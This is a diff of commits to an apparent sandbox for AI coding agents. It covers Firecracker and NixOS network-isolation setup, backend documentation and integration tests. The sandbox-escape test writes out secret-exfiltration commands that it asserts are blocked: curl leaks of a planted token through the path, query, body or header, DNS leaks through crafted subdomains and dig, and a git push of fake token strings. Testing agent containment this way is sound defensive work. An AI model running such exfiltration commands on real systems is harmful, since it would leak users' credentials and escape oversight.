Rust/GUI, or Kubernetes-native.
- Named agents with distinct skills and system prompts, not just language profiles.
- Multi-backend isolation: Docker, Apple `container` microVMs, and
smolmachines/libkrun — single manifest works across all three.
- Multi-provider: Claude Code, Codex, Pi, plus an open plugin system for
arbitrary providers.
- SSH forwarding without key copying.
- Per-run audit log (tool calls + network egress) — an explicitly requested gap
in SuperHQ as of 2026-07-09.
- Forge-native dispatch and a paid control plane (in flight) bring bot-bottle
into the same product category as cloud services like Devin and Copilot
Workspace — but self-hosted, with stronger isolation guarantees and a
manifest-driven fleet model those services don't have.
Main risk: claudebox adds manifest/agent config. The space is moving fast
enough that publishing sooner is better if establishing prior art matters.
Main risk: claudebox adds manifest/agent config; SuperHQ is moving fast on the
GUI / microVM side. The space is moving fast enough that publishing sooner is
better if establishing prior art matters.
Discovery will be slow without active promotion; an Anthropic Discord post or
HN "Show HN" would do most of the work.
@@ -73,4 +129,4 @@ HN "Show HN" would do most of the work.
- GitHub search cannot surface private or very new repos comprehensively.
- Counts (stars, forks) were not confirmed for every project.
- Research conducted 2026-05-07; the space moves fast.
- Initial research conducted 2026-05-07; SuperHQ entry added 2026-07-09; the space moves fast.
@@ -1,5 +1,7 @@
# smolmachines as a VM backend for bot-bottle
> **Superseded (2026-07-11).** The smolmachines backend was removed — Linux now uses the Firecracker backend, macOS uses macos-container. Kept as a historical record; see the removal commit `c07ebca` and `docs/research/landscape-containerized-claude.md`.
Evaluation of whether [smolmachines](https://smolmachines.com/) would
simplify the macOS agent-VM-isolation work spelled out in
[`agent-vm-isolation.md`](agent-vm-isolation.md).
+3 -3
View File
@@ -13,6 +13,6 @@ agent_provider:
Common Claude provider boundary. Drop this file into
`~/.bot-bottle/bottles/claude.md`, then extend it from task-specific
bottles. The default smolmachines backend keeps DNS resolution under
the VM-layer egress policy; use `BOT_BOTTLE_BACKEND=docker` only for
legacy Docker-backed runs.
bottles. On a KVM Linux host the default Firecracker backend confines
the guest behind a fail-closed nftables boundary; use
`BOT_BOTTLE_BACKEND=docker` only for legacy Docker-backed runs.
+2 -1
View File
@@ -11,4 +11,5 @@ The `dev` bottle — backs a generic development workflow.
Inherits the Claude provider boundary from `claude`. Drop this file
into `~/.bot-bottle/bottles/dev.md` and any agent referencing
`bottle: dev` will launch against this infrastructure. By default,
bot-bottle runs this bottle on the smolmachines backend.
bot-bottle runs this bottle on the host's default backend (Firecracker
on KVM Linux, Apple Container on macOS).
+18
View File
@@ -0,0 +1,18 @@
{
description = "bot-bottle sandboxed runtime for AI coding agents";
outputs = { self, ... }: {
# Declarative host setup for the Firecracker backend's network pool.
# Consume from a flake-based NixOS config:
#
# inputs.bot-bottle.url = "git+ssh://<your-bot-bottle-remote>"; # or path:/…
# # then, in your host module:
# imports = [ inputs.bot-bottle.nixosModules.firecracker-netpool ];
# services.bot-bottle-firecracker = { enable = true; owner = "you"; };
#
# The module is plain (no nixpkgs pin), so channel users can import
# ./nix/firecracker-netpool.nix directly without the flake.
nixosModules.firecracker-netpool = import ./nix/firecracker-netpool.nix;
nixosModules.default = self.nixosModules.firecracker-netpool;
};
}
+181
View File
@@ -0,0 +1,181 @@
# bot-bottle Firecracker network pool — declarative NixOS module.
#
# The one-time privileged setup the Firecracker backend needs: a pool of
# user-owned point-to-point TAP devices plus a fail-closed nftables table
# that confines every microVM to its own sidecar.
#
# NON-INVASIVE BY DESIGN. It does NOT flip `networking.nftables.enable`
# (which would switch your whole host firewall backend) or
# `systemd.network.enable` (which would hand your interfaces to
# systemd-networkd). Instead a single systemd oneshot service brings the
# pool up on boot — the declarative equivalent of
# `sudo ./scripts/firecracker-netpool.sh up`. The `inet <tableName>` table
# is independent (its own hooks at priority -10), so it coexists with an
# iptables `networking.firewall`, Docker, ufw, firewalld, etc.
#
# The oneshot is only restarted when this config changes, so a
# `nixos-rebuild switch` doesn't tear down TAPs out from under running
# VMs unless you actually changed the pool.
#
# The option defaults MUST match the backend constants in
# bot_bottle/backend/firecracker/netpool.py (pool size, IP base, iface
# prefix, table name). The backend reads the same values at launch from
# the BOT_BOTTLE_FC_* env vars; if you override an option here, override
# the matching env var for the CLI too (or set writeEnvFile = true below
# to have this module emit them). Keep the two sides in lockstep.
{ config, lib, pkgs, ... }:
let
cfg = config.services.bot-bottle-firecracker;
# --- IPv4 <-> int (full 32-bit carry math) -------------------------
toOctets = s: map lib.toInt (lib.splitString "." s);
ipToInt = s:
let o = toOctets s; in
(lib.elemAt o 0) * 16777216
+ (lib.elemAt o 1) * 65536
+ (lib.elemAt o 2) * 256
+ (lib.elemAt o 3);
intToIp = n:
let
b0 = n / 16777216; r0 = n - b0 * 16777216;
b1 = r0 / 65536; r1 = r0 - b1 * 65536;
b2 = r1 / 256;
b3 = r1 - b2 * 256;
in "${toString b0}.${toString b1}.${toString b2}.${toString b3}";
baseInt = ipToInt cfg.ipBase;
# Slot i: host = base + 2i (the VM's gateway), on its own /31.
slots = lib.genList (i: {
iface = "${cfg.ifacePrefix}${toString i}";
hostIp = intToIp (baseInt + 2 * i);
}) cfg.poolSize;
ip = "${pkgs.iproute2}/bin/ip";
nft = "${pkgs.nftables}/bin/nft";
# Idempotent ruleset: (create-if-absent → delete → recreate) is atomic
# within one `nft -f`, so re-running `up` always lands a clean table.
nftFile = pkgs.writeText "bot-bottle-fc.nft" ''
table inet ${cfg.tableName}
delete table inet ${cfg.tableName}
table inet ${cfg.tableName} {
chain forward {
type filter hook forward priority -10; policy accept;
iifname != "${cfg.ifacePrefix}*" return
ct state established,related accept
ct status dnat accept
drop
}
chain input {
type filter hook input priority -10; policy accept;
iifname != "${cfg.ifacePrefix}*" return
ct state established,related accept
drop
}
}
'';
upScript = pkgs.writeShellScript "bot-bottle-fc-netpool-up" ''
set -eu
${lib.concatMapStringsSep "\n" (s: ''
${ip} link show ${s.iface} >/dev/null 2>&1 || ${ip} tuntap add dev ${s.iface} mode tap user ${cfg.owner}
${ip} addr replace ${s.hostIp}/31 dev ${s.iface}
${ip} link set ${s.iface} up
'') slots}
${nft} -f ${nftFile}
'';
downScript = pkgs.writeShellScript "bot-bottle-fc-netpool-down" ''
${nft} delete table inet ${cfg.tableName} 2>/dev/null || true
${lib.concatMapStringsSep "\n" (s: ''
${ip} link show ${s.iface} >/dev/null 2>&1 && ${ip} tuntap del dev ${s.iface} mode tap || true
'') slots}
'';
in
{
options.services.bot-bottle-firecracker = {
enable = lib.mkEnableOption "the bot-bottle Firecracker network pool (TAP devices + isolation nftables table)";
poolSize = lib.mkOption {
type = lib.types.ints.positive;
default = 8;
description = "Number of pool slots (concurrent bottles). Must match BOT_BOTTLE_FC_POOL_SIZE.";
};
ipBase = lib.mkOption {
type = lib.types.str;
default = "10.243.0.0";
description = ''
Base IPv4 of the /31 pool; slot i uses host = base + 2i. Must
be /31-aligned (even final address) and must match
BOT_BOTTLE_FC_IP_BASE. Default is an obscure RFC-1918 /16 that
dodges docker/libvirt/k8s/LAN and, deliberately, Tailscale's
100.64.0.0/10 CGNAT range.
'';
};
ifacePrefix = lib.mkOption {
type = lib.types.str;
default = "bbfc";
description = "TAP interface name prefix. Must match BOT_BOTTLE_FC_IFACE_PREFIX.";
};
owner = lib.mkOption {
type = lib.types.str;
example = "alice";
description = "User that owns the TAP devices, so `./cli.py start` opens them without root.";
};
tableName = lib.mkOption {
type = lib.types.str;
default = "bot_bottle_fc";
description = "nftables table name for the isolation boundary. Must match netpool.NFT_TABLE.";
};
writeEnvFile = lib.mkOption {
type = lib.types.bool;
default = false;
description = ''
When true, write /etc/bot-bottle/firecracker.env with the
matching BOT_BOTTLE_FC_* values, so the host pool and the CLI
launcher can't drift. Source it before running `./cli.py`.
'';
};
};
config = lib.mkIf cfg.enable {
assertions = [
{
assertion = lib.mod baseInt 2 == 0;
message = "services.bot-bottle-firecracker.ipBase must be /31-aligned (even final octet); got ${cfg.ipBase}.";
}
];
# VM->sidecar traffic is DNAT'd and forwarded, so forwarding must be on.
boot.kernel.sysctl."net.ipv4.ip_forward" = 1;
# One oneshot brings up the whole pool (TAPs + independent nft table).
# No networking.nftables.enable / systemd.network.enable — see header.
systemd.services."bot-bottle-firecracker-netpool" = {
description = "bot-bottle Firecracker TAP pool + nft isolation table";
wantedBy = [ "multi-user.target" ];
after = [ "network-pre.target" ];
serviceConfig = {
Type = "oneshot";
RemainAfterExit = true;
ExecStart = upScript;
ExecStop = downScript;
};
};
environment.etc."bot-bottle/firecracker.env" = lib.mkIf cfg.writeEnvFile {
text = ''
BOT_BOTTLE_FC_POOL_SIZE=${toString cfg.poolSize}
BOT_BOTTLE_FC_IP_BASE=${cfg.ipBase}
BOT_BOTTLE_FC_IFACE_PREFIX=${cfg.ifacePrefix}
'';
};
};
}
+162
View File
@@ -0,0 +1,162 @@
#!/usr/bin/env bash
# One-time privileged network setup for the Firecracker backend.
#
# Creates a pool of point-to-point TAP devices (owned by the invoking
# user so the backend can open them without root at launch) and a
# dedicated nftables table that isolates every VM: a bottle VM can
# reach only its own sidecar (published on the host-side TAP IP) and
# nothing else on the host or network.
#
# Why a pool + one-time setup: creating a TAP and assigning it an IP
# needs CAP_NET_ADMIN. Pre-creating user-owned, pre-addressed TAPs
# means `./cli.py start` never needs root. The nft table is static
# (keyed on the `bbfc*` interface wildcard), so it covers every slot
# without per-launch changes.
#
# Design notes:
# * No shared bridge — each slot is an isolated /31 host<->guest link,
# so there are no bridge name/subnet collisions with docker0,
# virbr0 (libvirt), cni0 (k8s) or br-* (docker networks).
# * Own nftables table `bot_bottle_fc` — independent of the iptables
# filter/nat tables Docker/ufw/firewalld use, so nothing is stomped.
# * Default IP block is an obscure RFC-1918 /16 (10.243.0.0/16),
# chosen to dodge the usual occupants (docker 172.17-31, libvirt
# 192.168.122, k8s 10.42/10.244, home LANs). NOT 100.64.0.0/10 —
# that's RFC-6598 CGNAT, which Tailscale hands node addresses from.
#
# NixOS: imperative rules here do NOT survive nixos-rebuild. Use the
# declarative module in nix/firecracker-netpool.nix instead (exposed as
# the flake output nixosModules.firecracker-netpool).
#
# Usage:
# sudo ./scripts/firecracker-netpool.sh up
# sudo ./scripts/firecracker-netpool.sh down
# ./scripts/firecracker-netpool.sh status
#
# Env overrides (must match the backend's util.py constants):
# BOT_BOTTLE_FC_POOL_SIZE number of slots (default 8)
# BOT_BOTTLE_FC_IP_BASE base IPv4 of the /31 pool (default 10.243.0.0)
# BOT_BOTTLE_FC_IFACE_PREFIX TAP name prefix (default bbfc)
# BOT_BOTTLE_FC_OWNER owning user (default $SUDO_USER or $USER)
set -euo pipefail
POOL_SIZE="${BOT_BOTTLE_FC_POOL_SIZE:-8}"
IP_BASE="${BOT_BOTTLE_FC_IP_BASE:-10.243.0.0}"
PREFIX="${BOT_BOTTLE_FC_IFACE_PREFIX:-bbfc}"
OWNER="${BOT_BOTTLE_FC_OWNER:-${SUDO_USER:-$USER}}"
TABLE="bot_bottle_fc"
# Sidecar ports (must match the backend). egress=9099, supervise=9100,
# git-http=9420. Reached by the VM at its host-side TAP IP.
SIDECAR_PORTS="9099,9100,9420"
# --- IP math ---------------------------------------------------------
# Slot i occupies the /31 {base+2i, base+2i+1}: host = base+2i (the
# gateway the VM routes through), guest = base+2i+1 (the VM's address).
_ip_to_int() {
local IFS=. ; read -r a b c d <<<"$1" ; echo $(( (a<<24) + (b<<16) + (c<<8) + d ))
}
_int_to_ip() {
local n=$1 ; echo "$(( (n>>24)&255 )).$(( (n>>16)&255 )).$(( (n>>8)&255 )).$(( n&255 ))"
}
host_ip() { _int_to_ip $(( $(_ip_to_int "$IP_BASE") + 2*$1 )); }
guest_ip() { _int_to_ip $(( $(_ip_to_int "$IP_BASE") + 2*$1 + 1 )); }
iface() { echo "${PREFIX}$1"; }
require_root() {
if [ "$(id -u)" -ne 0 ]; then
echo "error: '$1' needs root (run under sudo)" >&2
exit 1
fi
}
cmd_up() {
require_root up
echo "firecracker net pool: $POOL_SIZE slots, base $IP_BASE, owner $OWNER"
# VM->sidecar traffic is DNAT'd to the sidecar container and
# forwarded, so forwarding must be enabled (Docker also sets this).
sysctl -qw net.ipv4.ip_forward=1
for i in $(seq 0 $((POOL_SIZE-1))); do
local dev host
dev="$(iface "$i")" ; host="$(host_ip "$i")"
if ip link show "$dev" >/dev/null 2>&1; then
ip link set "$dev" down 2>/dev/null || true
ip tuntap del dev "$dev" mode tap 2>/dev/null || true
fi
ip tuntap add dev "$dev" mode tap user "$OWNER"
ip addr add "$host/31" dev "$dev"
ip link set "$dev" up
echo " $dev host=$host guest=$(guest_ip "$i") owner=$OWNER"
done
_install_nft
echo "nftables table inet $TABLE installed (fail-closed boundary)"
echo "done."
}
_install_nft() {
# Own table: dropping only matches our bbfc* interfaces, so no other
# tool's traffic is affected. Priority -10 runs before Docker's
# filter hooks (priority 0); a drop here is terminal for the packet.
#
# forward: VM egress is DNAT'd to the sidecar (established via
# `ct status dnat`); return traffic via `ct state established`.
# Anything else from a VM is dropped -> no route to the internet
# or the rest of the host except through the sidecar proxy.
# input: a VM never needs host-local delivery (its sidecar is
# reached via DNAT->forward), so drop all direct input from VMs
# -> host services bound on 0.0.0.0 are unreachable from the VM.
nft -f - <<EOF
table inet $TABLE {
chain forward {
type filter hook forward priority -10; policy accept;
iifname != "${PREFIX}*" return
ct state established,related accept
ct status dnat accept
drop
}
chain input {
type filter hook input priority -10; policy accept;
iifname != "${PREFIX}*" return
ct state established,related accept
drop
}
}
EOF
}
cmd_down() {
require_root down
nft delete table inet "$TABLE" 2>/dev/null || true
for i in $(seq 0 $((POOL_SIZE-1))); do
local dev ; dev="$(iface "$i")"
if ip link show "$dev" >/dev/null 2>&1; then
ip link set "$dev" down 2>/dev/null || true
ip tuntap del dev "$dev" mode tap 2>/dev/null || true
echo " removed $dev"
fi
done
echo "done."
}
cmd_status() {
echo "table inet $TABLE:"
nft list table inet "$TABLE" 2>/dev/null || echo " (absent)"
echo "taps:"
for i in $(seq 0 $((POOL_SIZE-1))); do
local dev ; dev="$(iface "$i")"
if ip -brief addr show "$dev" >/dev/null 2>&1; then
ip -brief addr show "$dev" | sed 's/^/ /'
fi
done
}
case "${1:-}" in
up) cmd_up ;;
down) cmd_down ;;
status) cmd_status ;;
*) echo "usage: $0 {up|down|status}" >&2 ; exit 2 ;;
esac
@@ -0,0 +1,142 @@
"""Integration: Firecracker microVM launch.
End-to-end against a real Firecracker microVM: prepare + launch a bottle
on the firecracker backend and verify the agent execs after provisioning
and that the egress proxy env is wired to the sidecar.
Gated on the `backend status` result for firecracker (0 == the privileged
TAP pool + nft isolation table are provisioned). Skips cleanly with setup
instructions otherwise, so the suite runs on hosts without the pool.
"""
from __future__ import annotations
import contextlib
import io
import os
import shutil
import tempfile
import unittest
from pathlib import Path
from bot_bottle.backend import BottleSpec, get_bottle_backend
from bot_bottle.backend.firecracker import FirecrackerBottleBackend
from bot_bottle.manifest import ManifestIndex
def _firecracker_status_ok() -> bool:
"""Gate on `./cli.py backend status --backend=firecracker`: a 0 exit
means the pool + nft table are ready. Output is captured so the
decorator stays quiet during collection; any error not ready."""
buf = io.StringIO()
try:
with contextlib.redirect_stdout(buf), contextlib.redirect_stderr(buf):
return FirecrackerBottleBackend.status() == 0
except Exception:
return False
_SKIP_MSG = (
"firecracker backend not ready — provision the network pool with "
"`./cli.py backend setup --backend=firecracker`, then confirm with "
"`./cli.py backend status --backend=firecracker`"
)
def _minimal_agent_dockerfile(path: Path) -> None:
path.write_text(
"\n".join((
"FROM node:22-slim",
"RUN apt-get update \\",
" && apt-get install -y --no-install-recommends \\",
" ca-certificates curl git \\",
" && rm -rf /var/lib/apt/lists/*",
"USER node",
"WORKDIR /home/node",
"CMD [\"sleep\", \"infinity\"]",
"",
)),
encoding="utf-8",
)
def _minimal_manifest(dockerfile: Path) -> ManifestIndex:
return ManifestIndex.from_json_obj({
"bottles": {
"dev": {
"agent_provider": {
"template": "pi",
"dockerfile": str(dockerfile),
"settings": {
"provider": "example",
"base_url": "https://example.com/v1",
"models": ["smoke"],
},
},
"egress": {"routes": [{"host": "example.com"}]},
},
},
"agents": {
"demo": {"skills": [], "prompt": "smoke", "bottle": "dev"},
},
})
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: cannot host Firecracker microVMs",
)
@unittest.skipUnless(_firecracker_status_ok(), _SKIP_MSG)
class TestFirecrackerLaunch(unittest.TestCase):
"""Launch once, reuse the bottle across probes."""
@classmethod
def setUpClass(cls) -> None:
cls.stage = Path(tempfile.mkdtemp(prefix="cb-firecracker-launch."))
cls._launch = None
cls.bottle = None
dockerfile = cls.stage / "Dockerfile.agent-smoke"
_minimal_agent_dockerfile(dockerfile)
os.environ["BOT_BOTTLE_BACKEND"] = "firecracker"
try:
backend = get_bottle_backend()
spec = BottleSpec(
manifest=_minimal_manifest(dockerfile),
agent_name="demo",
copy_cwd=False,
user_cwd=str(cls.stage),
)
cls.plan = backend.prepare(spec, stage_dir=cls.stage)
cls._launch = backend.launch(cls.plan)
cls.bottle = cls._launch.__enter__()
except BaseException:
if cls._launch is not None:
cls._launch.__exit__(None, None, None)
shutil.rmtree(cls.stage, ignore_errors=True)
os.environ.pop("BOT_BOTTLE_BACKEND", None)
raise
@classmethod
def tearDownClass(cls) -> None:
try:
if cls._launch is not None:
cls._launch.__exit__(None, None, None)
finally:
shutil.rmtree(cls.stage, ignore_errors=True)
os.environ.pop("BOT_BOTTLE_BACKEND", None)
def test_smoke_exec_echo(self) -> None:
r = self.bottle.exec("echo hello-from-firecracker") # type: ignore[union-attr]
self.assertEqual(0, r.returncode, msg=r.stderr)
self.assertIn("hello-from-firecracker", r.stdout)
def test_proxy_env_points_at_sidecar(self) -> None:
r = self.bottle.exec( # type: ignore[union-attr]
"printf '%s\\n' \"$HTTPS_PROXY\" \"$HTTP_PROXY\""
)
self.assertEqual(0, r.returncode, msg=r.stderr)
self.assertIn("http", r.stdout.lower())
if __name__ == "__main__":
unittest.main()
+57 -48
View File
@@ -11,7 +11,7 @@ asserts each one is blocked:
5. Secret exfil via README link pushed through git-gate
The suite is backend-agnostic it goes through `get_bottle_backend()`
so smolmachines can be tested by setting `BOT_BOTTLE_BACKEND=smolmachines`.
so another backend can be tested by setting `BOT_BOTTLE_BACKEND`.
When unset, this integration test pins Docker explicitly to preserve
the Docker-backed CI path.
@@ -24,7 +24,6 @@ from __future__ import annotations
import os
import shutil
import sys
import tempfile
import unittest
from pathlib import Path
@@ -35,20 +34,37 @@ from bot_bottle.manifest import ManifestIndex
from tests._docker import skip_unless_docker
# Three secret shapes that match gitleaks's bundled rules so the
# README attack (test 5) exercises each rule independently. Format
# matches the rule's regex; the bodies aren't real keys. Each lands
# in the bottle's env as a literal so the agent can substitute via
# `$TEST_SECRET_*`.
_FAKE_SECRETS = {
"TEST_SECRET_ANTHROPIC": (
"sk-ant-api03-"
"Aa1Bb2Cc3Dd4Ee5Ff6Gg7Hh8Ii9Jj0Kk1Ll2Mm3Nn4Oo5Pp6Qq7Rr8Ss9Tt0Uu1Vv2Ww3"
"Xx4Yy5Zz6Aa7Bb8Cc9Dd0Ee1Ff2Gg3Hh4Ii5Jj6Kk7Ll8Mm9Nn0Oo1AAAA"
),
"TEST_SECRET_AWS": "AKIAIOSFODNN7EXAMPLE",
"TEST_SECRET_GENERIC": "f9c4d8b27a31e6f5c89b40a7e2d1f3b6a8c5d2e9f7b4a1c8d6e3f0b9c7a4d2e1",
# Secrets planted in the bottle env as literals (agents substitute via
# `$TEST_SECRET_*`). Two groups with different jobs:
#
# * git-push shapes — matched by gitleaks' bundled rules by STRUCTURE
# alone (no surrounding keyword), since attack 5 embeds them in a
# bare URL. This gitleaks version only reliably flags separator-
# prefixed tokens keyword-free (ghp_ / xoxb- / glpat-); AWS/GCP-style
# keys need a nearby "aws"/"google" keyword and so are NOT usable
# here. Values are fixed and high-entropy (the github/gitlab rules
# have entropy gates that reject low-entropy bodies).
#
# * DNS secret — used as a hostname label in attack 4, so it must be a
# valid (alphanumeric) DNS label. Its blocking is network isolation,
# not gitleaks, so it needn't match any rule. The separators that
# make the git-push shapes gitleaks-matchable would make them invalid
# DNS labels, which is why the two uses can't share one secret.
_GIT_PUSH_SECRETS = {
"TEST_SECRET_GITHUB": "ghp_R8xK2mQ7vT4nW9pL5jH3bY6cD1sF0aZ8eNgw",
"TEST_SECRET_SLACK": "xoxb-4821570639-7193846025184-Qz7Z9mK2xP4vR8nT5jL3bW6c",
"TEST_SECRET_GITLAB": "glpat-K7x2Qm9vT4nW8pL5jH3b",
}
_DNS_SECRET = {
"TEST_SECRET_DNS": "d4f9c81a3e6b57f20c9d8e4a1b6f3c7d9e2a5b8f4c1d6e9a",
}
_FAKE_SECRETS = {**_GIT_PUSH_SECRETS, **_DNS_SECRET}
# A throwaway SSH host key for the (intentionally unreachable) git-gate
# upstream, so the host-key preflight doesn't ssh-keyscan a fake host.
_DUMMY_HOST_KEY = (
"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDICfWWv3b9qD91rFkOolyzNk8EmodXCRg96meAIBIDc"
)
@skip_unless_docker()
@@ -70,27 +86,16 @@ class TestSandboxEscape(unittest.TestCase):
_launch_cm = None # backend.launch context manager
_bottle = None
_identity: str = ""
_backend_name: str = "docker"
@classmethod
def setUpClass(cls) -> None:
# Per-backend prerequisites. Docker is always required (both
# backends use it — docker for the agent + sidecars, smolmachines
# for the sidecar bundle); the class-level @skip_unless_docker
# already covers that. Smolmachines additionally needs smolvm on
# PATH and is macOS-only in v1 (libkrun/TSI). Skip cleanly when
# those are missing rather than die-ing inside backend.prepare.
backend_name = os.environ.get("BOT_BOTTLE_BACKEND", "docker")
if backend_name == "smolmachines":
if sys.platform not in ("darwin", "linux"):
raise unittest.SkipTest(
f"BOT_BOTTLE_BACKEND=smolmachines is not supported "
f"on {sys.platform} (macOS and Linux only)"
)
if shutil.which("smolvm") is None:
raise unittest.SkipTest(
"BOT_BOTTLE_BACKEND=smolmachines requires `smolvm` "
"on PATH: curl -sSL https://smolmachines.com/install.sh | sh"
)
# Docker is always required (the agent + sidecars run under it,
# and VM backends still use it for the sidecar bundle); the
# class-level @skip_unless_docker already covers that. Pin
# Docker when BOT_BOTTLE_BACKEND is unset to preserve the
# Docker-backed CI path.
cls._backend_name = os.environ.get("BOT_BOTTLE_BACKEND", "docker")
# Throwaway static key for the git-gate fixture. It need not
# be a real SSH key: test 5 reaches gitleaks before any SSH
@@ -119,7 +124,10 @@ class TestSandboxEscape(unittest.TestCase):
# git-gate sidecar so attack 5 can push. Upstream
# is intentionally unreachable — the pre-receive
# gitleaks hook must reject BEFORE git-gate
# attempts the upstream push.
# attempts the upstream push. A preset `host_key`
# keeps the host-key preflight from ssh-keyscanning
# `unreachable.invalid` (which fails with no DNS);
# the key is never used since the push is rejected.
"git-gate": {"repos": {
"throwaway": {
"url": "ssh://git@unreachable.invalid:22/throwaway.git",
@@ -127,6 +135,7 @@ class TestSandboxEscape(unittest.TestCase):
"provider": "static",
"path": str(cls._key_path),
},
"host_key": _DUMMY_HOST_KEY,
},
}},
},
@@ -149,7 +158,7 @@ class TestSandboxEscape(unittest.TestCase):
cls._stage_dir = Path(tempfile.mkdtemp(prefix="sandbox-escape-stage."))
try:
backend = get_bottle_backend(backend_name)
backend = get_bottle_backend(cls._backend_name)
plan = backend.prepare(spec, stage_dir=cls._stage_dir)
cls._identity = plan.slug
@@ -293,7 +302,7 @@ class TestSandboxEscape(unittest.TestCase):
)
def test_3_http_exfil_blocked(self) -> None:
"""The agent tries to leak `$TEST_SECRET_ANTHROPIC` to an
"""The agent tries to leak `$TEST_SECRET_GITHUB` to an
ALLOWLISTED destination (api.anthropic.com) via four
different request shapes. Each must be blocked by a
sandbox layer (egress allowlist filter) producing an
@@ -320,25 +329,25 @@ class TestSandboxEscape(unittest.TestCase):
(
"path",
f'curl --silent --show-error --max-time 8 -w "{wfmt}" '
f'"{url_base}/v1/$TEST_SECRET_ANTHROPIC"',
f'"{url_base}/v1/$TEST_SECRET_GITHUB"',
),
(
"query",
f'curl --silent --show-error --max-time 8 -w "{wfmt}" '
f'"{url_base}/v1/?leak=$TEST_SECRET_ANTHROPIC"',
f'"{url_base}/v1/?leak=$TEST_SECRET_GITHUB"',
),
(
"body",
f'curl --silent --show-error --max-time 8 -w "{wfmt}" '
f'-X POST "{url_base}/v1/messages" '
f'-H "Content-Type: application/json" '
f'-d "{{\\"secret\\": \\"$TEST_SECRET_ANTHROPIC\\"}}"',
f'-d "{{\\"secret\\": \\"$TEST_SECRET_GITHUB\\"}}"',
),
(
"header",
f'curl --silent --show-error --max-time 8 -w "{wfmt}" '
f'"{url_base}/v1/" '
f'-H "X-Custom: $TEST_SECRET_ANTHROPIC"',
f'-H "X-Custom: $TEST_SECRET_GITHUB"',
),
]
for name, cmd in shapes: # type: ignore
@@ -365,7 +374,7 @@ class TestSandboxEscape(unittest.TestCase):
with self.subTest(attack="crafted subdomain"):
r = self._bottle.exec( # type: ignore
'curl --silent --show-error --max-time 8 --fail '
'"https://$TEST_SECRET_GENERIC.api.anthropic.com/"'
'"https://$TEST_SECRET_DNS.api.anthropic.com/"'
)
self.assertNotEqual(
0, r.returncode,
@@ -379,7 +388,7 @@ class TestSandboxEscape(unittest.TestCase):
# dig should fail or return empty.
r = self._bottle.exec( # type: ignore
'dig +short +tries=1 +time=3 @8.8.8.8 '
'"$TEST_SECRET_GENERIC.example.com" '
'"$TEST_SECRET_DNS.example.com" '
'; echo "EXIT=$?"'
)
# `dig +short` prints the resolved A record(s). On
@@ -408,20 +417,20 @@ class TestSandboxEscape(unittest.TestCase):
"could not resolve" would mean gitleaks ran late or didn't
run at all.
Parameterized over three secret shapes (anthropic / AWS /
generic) so a renamed gitleaks rule doesn't silently let
Parameterized over three secret shapes (github / slack /
gitlab) so a renamed gitleaks rule doesn't silently let
one shape through (PRD 0022 Q3)."""
shapes = [
("anthropic", "TEST_SECRET_ANTHROPIC"),
("aws", "TEST_SECRET_AWS"),
("generic", "TEST_SECRET_GENERIC"),
("github", "TEST_SECRET_GITHUB"),
("slack", "TEST_SECRET_SLACK"),
("gitlab", "TEST_SECRET_GITLAB"),
]
# Use the bottle's declared upstream URL; the agent's
# ~/.gitconfig insteadOf rewrite (set up by provision_git)
# redirects to the gate. This makes the test backend-
# agnostic: docker resolves the gate via the short `git-gate`
# alias, smolmachines via `<bundle_ip>:9418` — both
# alias, a VM backend via `<bundle_ip>:9418` — both
# transparent to the test through insteadOf.
upstream_url = "ssh://git@unreachable.invalid:22/throwaway.git"
@@ -1,193 +0,0 @@
"""Integration: end-to-end smolmachines launch + exec round trip.
The smoke confirms the launch flow (sidecar bundle smolVM
host-loopback forwarders agent smolVM with TSI allowlist exec)
plumbs together end to end. The probes confirm the security
properties the design pivot was about:
- **localhost-reach probe** guest tries to dial a service
bound on the host's `127.0.0.1`. TSI's per-bottle loopback
alias allowlist must refuse the connect.
- **egress proxy probe** guest reaches the egress proxy through
the injected `HTTPS_PROXY`/`HTTP_PROXY` URL on the per-bottle
loopback alias, while direct egress with proxy vars unset fails.
Gated on macOS/Linux + smolvm + docker + not GITEA_ACTIONS the
runner can't host libkrun-backed VMs."""
from __future__ import annotations
import os
import platform
import shutil
import tempfile
import unittest
from pathlib import Path
from bot_bottle.backend import BottleSpec, get_bottle_backend
from bot_bottle.backend.smolmachines.smolvm import is_available as _smolvm_available
from bot_bottle.manifest import ManifestIndex
from tests._docker import skip_unless_docker
_AGENT_PROMPT = "You are demo. Be brief."
def _minimal_manifest() -> ManifestIndex:
return ManifestIndex.from_json_obj({
"bottles": {
"dev": {
"egress": {
"routes": [
{"host": "example.com"},
],
},
},
},
"agents": {
"demo": {
"skills": [],
"prompt": _AGENT_PROMPT,
"bottle": "dev",
},
},
})
@skip_unless_docker()
@unittest.skipUnless(
platform.system() in ("Darwin", "Linux"),
"smolvm requires macOS or Linux",
)
@unittest.skipUnless(
_smolvm_available(),
"smolvm not on PATH; install via "
"curl -sSL https://smolmachines.com/install.sh | sh",
)
@unittest.skipIf(
os.environ.get("GITEA_ACTIONS") == "true",
"skipped under act_runner: cannot host libkrun-backed VMs",
)
class TestSmolmachinesLaunch(unittest.TestCase):
"""The full smoke + the two acceptance probes share one
bottle bringup to amortize the ~10s cold-start cost across
three assertions."""
@classmethod
def setUpClass(cls) -> None:
cls.stage = Path(tempfile.mkdtemp(prefix="cb-smol-launch."))
os.environ["BOT_BOTTLE_BACKEND"] = "smolmachines"
backend = get_bottle_backend()
spec = BottleSpec(
manifest=_minimal_manifest(),
agent_name="demo",
copy_cwd=False,
user_cwd=str(cls.stage),
)
cls.plan = backend.prepare(spec, stage_dir=cls.stage)
cls._launch = backend.launch(cls.plan)
cls.bottle = cls._launch.__enter__()
@classmethod
def tearDownClass(cls) -> None:
try:
cls._launch.__exit__(None, None, None)
finally:
shutil.rmtree(cls.stage, ignore_errors=True)
os.environ.pop("BOT_BOTTLE_BACKEND", None)
def test_smoke_exec_echo(self):
# The plumbing-verifies-end-to-end smoke: a shell command
# round-trips through smolvm machine exec.
r = self.bottle.exec("echo hello-from-vm")
self.assertEqual(0, r.returncode, msg=r.stderr)
self.assertIn("hello-from-vm", r.stdout)
def test_localhost_reach_probe(self):
# Agent dials a 127.0.0.1 service on the host. TSI's
# allowlist contains only the per-bottle loopback alias, so
# this must refuse. We use a port unlikely to be bound on the host
# (high-numbered) so we're confirming TSI refusal, not
# just "no service listening."
r = self.bottle.exec(
"curl -s --show-error --max-time 3 http://127.0.0.1:9 2>&1 || true"
)
# `curl` to a denied destination produces a connect error.
# The exact phrasing varies by curl version; we assert
# the response is NOT the body of any real service.
self.assertNotIn("hello-from-vm", r.stdout)
self.assertTrue(
